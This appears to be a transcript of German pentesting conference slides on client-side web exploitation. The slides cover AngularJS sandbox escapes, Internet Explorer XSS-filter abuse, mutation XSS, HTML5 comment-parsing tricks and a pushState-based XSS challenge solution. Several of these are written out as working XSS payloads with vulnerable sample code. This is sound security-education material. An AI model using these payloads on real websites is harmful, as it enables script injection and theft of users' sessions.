exploiting the client side hell of the web¼hr... · break out of the sandbox •{{99-33}}...
TRANSCRIPT
Exploiting the Client side hell of the web
Msc Alexander Inführ
whoami
• MSc Alexander Inführ
• Pentester bei Cure53
• Browser Security
• Web Security
• PDF Security
AngularJS — Superheroic JavaScript MVVMFramework
• Ein JavaScript MVVM Framework
• Für dynamische Client Based Web Applikationen
• Verwendet Templates
<html ng-app>
<script
src="https://ajax.googleapis.com/ajax/libs/angularjs/1.5.8/angular.min.js">
</script><body>
<div>
<label>Name:</label>
<input type="text" ng-model="yourName" placeholder="Enter a name here">
<hr>
<h1>Hello {{yourName}}!</h1>
<?php echo $_GET[„x“];?>
</div>
</body>
• URL: /angular.php?x={{99-33}}
Break out of the sandbox
• {{99-33}} evaluates zu 66
• Funktioniert an jedem Ort im HTML Dokument
• Benötigt keine normalen XSS HTML Zeichen (eg. < >)• Bypassed dadurch viele Filter
• Sandbox – kein Zugriff auf echtes Window object• {{alert(location);alert(document.cookie)}} => Nicht erlaubt
• Viele Sandbox escapes öffentlich:• Zugriff auf constructor.constructor• Manipulation von nativen Funktionen (toString etc.)
Beispiele{{constructor.constructor('alert(1)')()}}
{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}
{{
{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=''.valueOf;
$eval('x=alert(1)//');
}}
http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html
Latest News
• AngularJS droppt den Support für Sandbox
• Nie als Sicherheitsfeature gedacht
• Ständig neue Bypasses
• Zu viel Overhead
• Für Pentester: AngularJS Injection einfach zu exploiten
XXN – X-XSS-Nightmare
• Präsentiert von Masato Kinugawa
• X-XSS-Protection: 1• 0: Kein XSS Filter
• 1: Rewriting + Webseite parsen (Default)
• 1; mode=block: XSS erkannt => Webseite wird nicht weiter geparsed• => Blank Page
• Targets Internet Explorer XSS Filter
IE XSS Filters
• Liste von „Regex“ Regeln
• Überprüft URL, Header Values und Post Payloads
• Value Reflected in Server Response:• XSS detected
• Angewandt führ verschiedene Kontexte:• CSS
• Script tags
• In JavaScript Blocks
Reflected XSS Example
• URL: /?x=<svg onload=alert(1)>
Reflected XSS Filter
• IE XSS Filter Match
• /?x=<svg onload=alert(1)
• URL Payload matches in HTML Response • XSS Attack detected -> Rewrite Payload
Take Away
• Einige XXN Bugs bereits gefixed
• X-XSS-Protection: 1 kann sichere Webseiten unsicher machen
MXSS
• Mario Heiderich – innerHTML Apocalypse
• DOM Based XSS
• Mutation des Payloads via innerHTML etc.
Example
• IE 11• x.innerHTML => </style><img src=1 onerror=alert(1)>
• IE 9• x.innerHTML => <img onerror="alert(1)" src="1">
DOM – IE 9 Mode
• IE DOM Explorer Broken – zeigt nicht richtigen DOM
• innerHTML decodierte < und >
• <img> wird danach geparsed und onerror ausgeführt
• Nicht nur IE betroffen
• Viele Beispiele sind mittlerweile gefixed
• MXSS eine große Gefahr für XSS Filter• Eg. Google Caja
• Ab und zu werden noch neue Varianten entdeckt
HTML5 – Komment Parsing
• HTML5• Viele neue Features!
• HTML 5 Komment Parsing• Nicht sehr bekannt
• Wirkt wie ein Bug
• Filter• Keine Anführungszeichen– "
• </script> nicht erlaubt
• Kein Backslash
• New Lines sind erlaubt
<!DOCTYPE html>
<body>
<script> var a = "INJECTION1"</script><script> var b =
"INJECTION2"</script>
</body>
Lösung
<!DOCTYPE html>
<body>
<script> var a = "<!--<script>"</script><script> var b = "/+alert(1)
-->" </script>
</body>
• Das Verhalten lässt sich noch optimieren
Abwandlung
Alert außerhalb des Skript Tags!
<!DOCTYPE html>
<body>
<script> var a = "<!--<script>"</script>/+alert(1)
--></script>
</body>
Erklärung
• Blau: Less Then operator
• Rot: Regular Expression
• Orange: Kommentar für Unterminated String Error
<script>
var a = "<!--<script>ANYTHING"</script><script> var b = "/+alert(1)
-->" </script>
Parsed Content:</script><script> var b = "/+alert(1)
-->"
XSS via location.pathName
• http://example.com/test/“‘>/dddd• Location.pathname
• "/test/%22'%3E/dddd„
• Oft verwendet in Tracking Code
Challenge
• Jquery + Jquery Mobile wird geladen• Jqery Mobile pushStateEnabled
• Location.hash endet in history.pushState
• History.pushState erlaubt es einen neuen Pfad zu setzen, der nicht geladen wird.
• Same Origin
The vulnerable code<script>
$(document).ready(function() {
$('body').append(
' <img class="log" src="/payloadLogger?url=' +
location.protocol + "//" +
location.host +
location.pathname +
escape(location.search) + escape(location.hash) + '">'); })
</script>
Solution – Internet Explorer only
• http://challenge/challenge.html#mhtml:http://challenge/challenge.html
• history.pushState({},{},'mhtml:http://challenge/challenge.html"><svg onload=alert(1)>')
• location.pathname =>
http://challenge/challenge.html"><svg
onload=alert(1)>
URLS
• http://l0.cm/xxn/
• http://de.slideshare.net/x00mario/the-innerhtml-apocalypse
• https://github.com/cure53/XSSChallengeWiki/wiki/Shibuya.XSS-JIZEN-GAKUSHU-Challenge
• https://www.youtube.com/watch?v=wzrojHHyQwc